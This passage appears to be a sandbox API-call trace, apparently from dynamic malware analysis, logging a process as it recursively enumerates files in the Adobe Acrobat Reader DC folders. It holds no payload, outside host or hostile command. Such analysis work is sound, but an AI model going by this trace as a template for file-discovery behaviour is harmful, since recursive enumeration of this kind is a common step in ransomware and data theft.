lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0 [0285.569] FindClose (in: hFindFile=0x380c220 | out: hFindFile=0x380c220) returned 1 [0285.570] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0285.570] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.570] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44f0738 [0285.570] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar") returned 105 [0285.570] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\*", lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0x380c0e0 [0285.580] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.828] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.828] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.828] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.828] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.828] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.829] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.829] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.829] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.829] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.829] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4661f68 [0285.829] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes") returned 112 [0285.829] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\*", lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0x380bde0 [0285.830] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.830] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.830] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4610f18 [0285.831] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark") returned 117 [0285.831] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\*", lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0x380c220 [0285.832] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.832] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.832] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.832] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.832] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.832] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.832] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.832] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.833] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.833] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0285.833] FindClose (in: hFindFile=0x380c220 | out: hFindFile=0x380c220) returned 1 [0285.833] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0285.834] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0285.834] FindClose (in: hFindFile=0x380bde0 | out: hFindFile=0x380bde0) returned 1 [0285.834] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4661f68 | out: hHeap=0x640000) returned 1 [0285.834] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0 [0285.834] FindClose (in: hFindFile=0x380c0e0 | out: hFindFile=0x380c0e0) returned 1 [0285.834] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0285.834] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 0 [0285.834] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0285.834] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0285.834] FindNextFileW (in: hFindFile=0x380c020, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0285.834] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4661f68 [0285.834] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js") returned 86 [0285.834] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\*", lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 0x380c320 [0286.101] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0286.101] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0286.101] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0286.101] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app") returned 90 [0286.101] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\*", lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0x380c2a0 [0286.355] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0286.355] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0286.356] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0286.356] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev") returned 94 [0286.356] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\*", lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0x380bce0 [0286.356] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0286.356] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0286.356] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4671f70 [0286.357] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls") returned 98 [0286.357] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\*", lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0x380bd60 [0286.357] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.357] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.357] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.358] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ar-ae") returned 104 [0286.358] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ar-ae\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.372] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.372] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.373] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.373] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.373] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.373] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.373] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es") returned 104 [0286.373] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bde0 [0286.376] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.377] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.377] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.377] FindClose (in: hFindFile=0x380bde0 | out: hFindFile=0x380bde0) returned 1 [0286.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.377] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.377] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.377] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz") returned 104 [0286.377] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bde0 [0286.386] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.386] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.387] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.387] FindClose (in: hFindFile=0x380bde0 | out: hFindFile=0x380bde0) returned 1 [0286.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.387] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.387] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.387] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk") returned 104 [0286.387] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.387] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.387] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.388] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.388] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.388] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.388] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de") returned 104 [0286.388] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.400] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.400] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.401] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.401] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.401] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.401] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae") returned 104 [0286.401] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.402] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.402] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.402] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.402] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.402] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.402] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb") returned 104 [0286.402] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.403] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.403] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.403] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.403] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.403] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.403] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il") returned 104 [0286.403] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.404] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.404] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.404] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.405] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.405] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.405] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.405] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es") returned 104 [0286.405] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.405] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.405] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.405] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.405] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.405] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.406] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es") returned 104 [0286.406] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.406] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.406] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.407] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.407] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.407] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.407] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi") returned 104 [0286.407] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.408] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.408] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.408] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.408] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.408] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.408] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.408] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr") returned 104 [0286.408] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.409] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.410] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.410] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.410] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.410] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.410] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.410] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.410] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma") returned 104 [0286.410] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.411] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.411] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.411] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.411] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.411] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.411] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.411] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.411] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\he-il") returned 104 [0286.411] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\he-il\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bde0 [0286.412] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.412] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.412] FindClose (in: hFindFile=0x380bde0 | out: hFindFile=0x380bde0) returned 1 [0286.412] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.412] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.412] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.412] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr") returned 104 [0286.413] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.413] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.413] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.413] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.413] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.413] HeapFree (in: hHeap=0x640000, 